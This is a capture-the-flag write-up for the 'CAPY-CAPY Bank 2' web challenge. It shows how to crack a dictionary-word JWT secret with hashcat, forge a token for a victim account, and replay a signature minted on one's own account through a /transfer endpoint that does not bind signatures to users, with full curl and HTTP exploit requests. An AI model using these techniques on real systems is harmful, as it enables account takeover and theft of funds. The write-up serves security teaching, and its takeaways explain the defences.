Write-up · KubSTU CTF 2026
CAPY-CAPY Bank 2: PIN-less Transfers from a Weak JWT Secret and Unbound Signatures
The sequel to Bank 1, where the advertised patch is the distraction. A dictionary-word JWT secret lets you become the premium victim, and a /transfer endpoint that no longer binds signatures to their issuer lets a pair minted for your own account move his money — no PIN required.
Challenge: CAPY-CAPY Bank 2 · Web · JWT / Parameter Tampering / Broken Signature Binding. Prompt: “The development team carefully fixed everything based on your report, ran regression tests, QA signed off — no one will exploit that hole again. But reports keep coming in. This week, three more cases, again from our premium clients, again the same pattern: unauthorized transfer to the same shop, signature is valid, no outsider knew the PIN, logs are clean. We only closed one door, and the attacker found the adjacent one. The victim is Mikhail Galankov,
mgalankov@4274.” Flag: delivered to the Telegram bot@kubstubank1_boton a confirmedFLAG_SHOPpurchase (“Purchase confirmed! Flag sent to the Telegram bot”) — not a static string embedded in the app.
The patch from Bank 1 is itself the distraction: in this build unconfirmed transactions (skip_pin=1) store a None signature and /receipt/<id> redirects unconfirmed transactions to /verify_transaction/<id>, so the v1 “peek the signature off the receipt” path is genuinely dead.
The real attack surface is two unrelated weaknesses that compose. First, the JWT HMAC secret is still a dictionary word (ifeveryonecared3, crackable from rockyou with hashcat), so any user can forge a token for the premium victim mgalankov@4274 and become him. Second — the actual new bug — the /transfer endpoint’s transaction_signature branch no longer binds the server-issued (timestamp, signature) pair to the user or parameters it was issued for, so a valid pair minted for your own account is accepted as mgalankov, letting you move money without ever knowing his PIN. The root cause lives in /transfer: the one-time, user-bound signature whitelist that Bank 1 enforced (signature_session.py) was removed in v2.
Reconnaissance
What the challenge hands you
- Same victim as v1:
mgalankov@4274,user_id = 10in the prompt /4in the fresh seeded DB, premium, balance ~1.5M, seven seeded transfers. - A fresh “already patched” build. The patch notes you can infer from behaviour:
- Unconfirmed transactions (
skip_pin=1) now storesignature = None(!) — nothing leaks from the receipt. /receipt/<id>redirects unconfirmed transactions to/verify_transaction/<id>(!).
- Unconfirmed transactions (
- Auth is a JWT in cookie
access_token_cookie. - A two-step transfer protocol survives from v1: client JS first calls
POST /api/get_signaturewith the PIN to mint a(date, time, timestamp, signature)tuple, then submits the full form to/transfer. - The flag is dispensed out-of-band: on a confirmed
FLAG_SHOPpurchase the server calls the Telegram bot (/api/approve_purchase) and the flag arrives in TG.
The tell
The v1 fixes all harden the receipt/peek side. None of them touch how /transfer validates the signature it’s handed. The prompt even spells it out — “signature is valid, no outsider knew the PIN” — which points at a signature that is valid but was issued to someone else.
Vulnerability analysis
Forgeable JWT — weak HMAC secret gives identity takeover
Register a normal account, log in, and lift the access_token_cookie JWT. It is signed with HS256, so the secret can be brute-forced offline:
$ echo '<jwt>' > jwt.txt
$ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
...
<jwt>:ifeveryonecared3
The secret ifeveryonecared3 is a rockyou entry (v2 swapped the word, not the concept). With the secret, forge a token for the victim — on jwt.io, verify the current token with ifeveryonecared3 (green “Signature Verified”), then edit the payload:
"sub" : "10" (victim's user_id)
"username" : "mgalankov@4274"
"exp" : <push further out>
Replace the cookie (Burp Match & Replace, or Repeater):
Cookie: access_token_cookie=<forged JWT for mgalankov>
GET /dashboard now returns mgalankov’s account (balance 1.5M, seven transfers). This bug alone is full identity takeover of any user — but on its own it still can’t move money, because a transfer needs a valid signature and we don’t have mgalankov’s PIN. That is what the broken signature binding supplies.
Broken signature binding in /transfer — any valid (timestamp, signature) pair is accepted
In v1, each signature the server issued was recorded in a one-time, per-user whitelist bound to (user_id, to_account, amount, description). In v2 that binding is gone. /transfer recomputes the signature from the transaction_timestamp in the submitted form and checks only that the recomputed value equals the submitted transaction_signature — it never checks who the signature was issued to.
So mint a legitimate pair from your own account, whose PIN you know. Log in as the regular user from the step above and intercept the first XHR of a normal self-transfer:
POST /api/get_signature HTTP/1.1
Cookie: access_token_cookie=<JWT of our own user>
Content-Type: application/json
{"pin_code":"12345678"}
{ "date":"2026-04-25", "time":"00:11:02",
"timestamp":1745532662, "signature":"9f3b81c4ea5d6178" }
Drop the subsequent /transfer request — you only needed the response. This pair is mathematically valid; it was issued to our user, but /transfer doesn’t care. Replaying it under mgalankov’s forged cookie confirms the transfer:
POST /transfer HTTP/1.1
Cookie: access_token_cookie=<forged JWT for mgalankov>
Content-Type: application/x-www-form-urlencoded
to_account=FLAG_SHOP&amount=1000.00
&description=%D0%9F%D0%BE%D0%BA%D1%83%D0%BF%D0%BA%D0%B0%3A+%D0%A4%D0%BB%D0%B0%D0%B3+%D0%BE%D1%82+CTF+%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F
&product_id=1&token=t_8a3f...
&transaction_date=2026-04-25&transaction_time=00:11:02
&transaction_timestamp=1745532662&transaction_signature=9f3b81c4ea5d6178
Server-side flow: (1) confirms we are mgalankov@4274 (forged JWT); (2) recomputes the signature from transaction_timestamp=1745532662 → 9f3b81c4ea5d6178; (3) transaction_signature == verification_signature ✓; (4) no check for whom the signature was issued to — this is the break; (5) for FLAG_SHOP it shifts the date +7 days, recalculates with the new timestamp, and stores is_verified=True; (6) calls the TG bot /api/approve_purchase. In the general (non-FLAG_SHOP) case this same flaw allows arbitrary transfers out of mgalankov’s account with no knowledge of his PIN — the real risk the challenge is modelling.
FLAG_SHOP sub-case — the signature isn’t even checked
Because the FLAG_SHOP branch overwrites transaction_signature with its own t+7d recalculation, the submitted signature value is effectively ignored as long as the field is present. For the flag specifically you can send junk:
transaction_timestamp=1745532662
transaction_signature=0000000000000000
and it still succeeds. The “proper” demonstration is the foreign-signature injection above (that is what generalizes to arbitrary transfers); this FLAG_SHOP shortcut is just the fastest path to the flag.
Dead ends
- The v1 receipt-peek path.
skip_pin=1now storessignature=Noneand/receipt/<id>redirects unconfirmed transactions to/verify_transaction/<id>— there is nothing to read off a receipt anymore. The patch is real; it’s just the wrong door. - Recovering mgalankov’s PIN. Never needed and never obtained — no PIN-reset endpoint, and the signature-binding and FLAG_SHOP paths route around the PIN entirely.
- Completing the purchase through the UI as mgalankov. The flag-shop form demands his PIN at the confirm step; the forged JWT gets you to the form but not through it. The exploit deliberately assembles the
/transferPOST by hand instead.
The exploit chain
Two independent weaknesses compose into one PIN-less purchase:
- The JWT forgery gives identity, not authority. Cracking the JWT secret lets you be mgalankov (
sub=10,username=mgalankov@4274), which is enough to open his flag-shop flow but not to sign a transfer. - The broken signature binding gives authority, not identity.
/api/get_signatureon your own account (your own PIN) mints a(timestamp, signature)pair that/transferwill accept from anyone, because v2 dropped the per-user binding. - Compose them: submit that foreign-but-valid pair to
/transferunder mgalankov’s forged cookie, withoutskip_pin=1, with bothtransaction_timestampandtransaction_signaturepresent. The server authenticates you as mgalankov (step 1) and validates the signature by value alone (step 2), so the FLAG_SHOP purchase confirms and the TG bot releases the flag.
Order matters: you must obtain the valid pair (step 2) before submitting (step 3), and the request must avoid the skip_pin=1 branch so it enters the signature-checking path rather than the receipt path the patch hardened.
Grabbing the flag
# 0. Register a normal account; log in; grab its access_token_cookie JWT.
# 1. Crack the JWT secret offline.
$ echo '<your_jwt>' > jwt.txt
$ hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
<your_jwt>:ifeveryonecared3
# 2. Forge a token for the victim (sub=10, username=mgalankov@4274),
# signed HS256 with ifeveryonecared3 (jwt.io or any jwt lib).
# 3. Mint a VALID (timestamp, signature) pair from YOUR OWN account (your PIN):
$ curl -s https://<target>/api/get_signature \
-H 'Cookie: access_token_cookie=<YOUR own JWT>' \
-H 'Content-Type: application/json' \
-d '{"pin_code":"12345678"}'
{"date":"2026-04-25","time":"00:11:02","timestamp":1745532662,"signature":"9f3b81c4ea5d6178"}
# 4. Get a one-time offer token from the Telegram bot: send /token to @kubstubank1_bot.
# 5. Confirm the FLAG_SHOP purchase AS mgalankov, injecting the foreign-but-valid pair:
$ curl -s -i https://<target>/transfer \
-H 'Cookie: access_token_cookie=<FORGED JWT for mgalankov>' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'to_account=FLAG_SHOP&amount=1000.00&product_id=1&token=<offer_token>&description=%D0%9F%D0%BE%D0%BA%D1%83%D0%BF%D0%BA%D0%B0%3A+%D0%A4%D0%BB%D0%B0%D0%B3+%D0%BE%D1%82+CTF+%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&transaction_date=2026-04-25&transaction_time=00:11:02&transaction_timestamp=1745532662&transaction_signature=9f3b81c4ea5d6178'
# HTTP 302 → /flag_shop, banner: "Purchase confirmed! Flag sent to the Telegram bot."
The flag then arrives in the Telegram bot chat. (Shortcut: as noted in the FLAG_SHOP sub-case, transaction_signature=0000000000000000 also works for the FLAG_SHOP branch.)
Takeaways
- A cryptographic signature proves nothing unless it’s bound to subject and parameters. v2 verified that the signature matched its timestamp but not who it was issued to — so a pair minted for one account authorized actions on another. Always check the binding (
user_id,to_account,amount, …), not just mathematical validity. - One-time, server-side issuance records are the control, not the client-echoed token. Bank 1’s per-user signature whitelist (
signature_session.py) was the actual defense; removing it while keeping the signature format left the appearance of security with none of the substance. - HMAC/JWT secrets must be long random values from the environment. A rockyou dictionary word reduces “forge any identity” to seconds of hashcat; the strength of the algorithm is irrelevant when the key is guessable.
- Patching the symptom you were shown invites the adjacent bug. The team closed the exact v1 receipt-leak path and signed off, but the shared root cause — trusting a client-supplied signature without rebinding it server-side — was untouched. Fix the class, not the reported instance.
- Defense in depth would have broken the chain anywhere: a strong JWT secret (stops the forgery), a per-user one-time signature whitelist (stops the replayed foreign pair), re-prompting the PIN as a true second factor bound to the transaction (stops both), and never letting a privileged branch like FLAG_SHOP skip signature verification (stops the shortcut).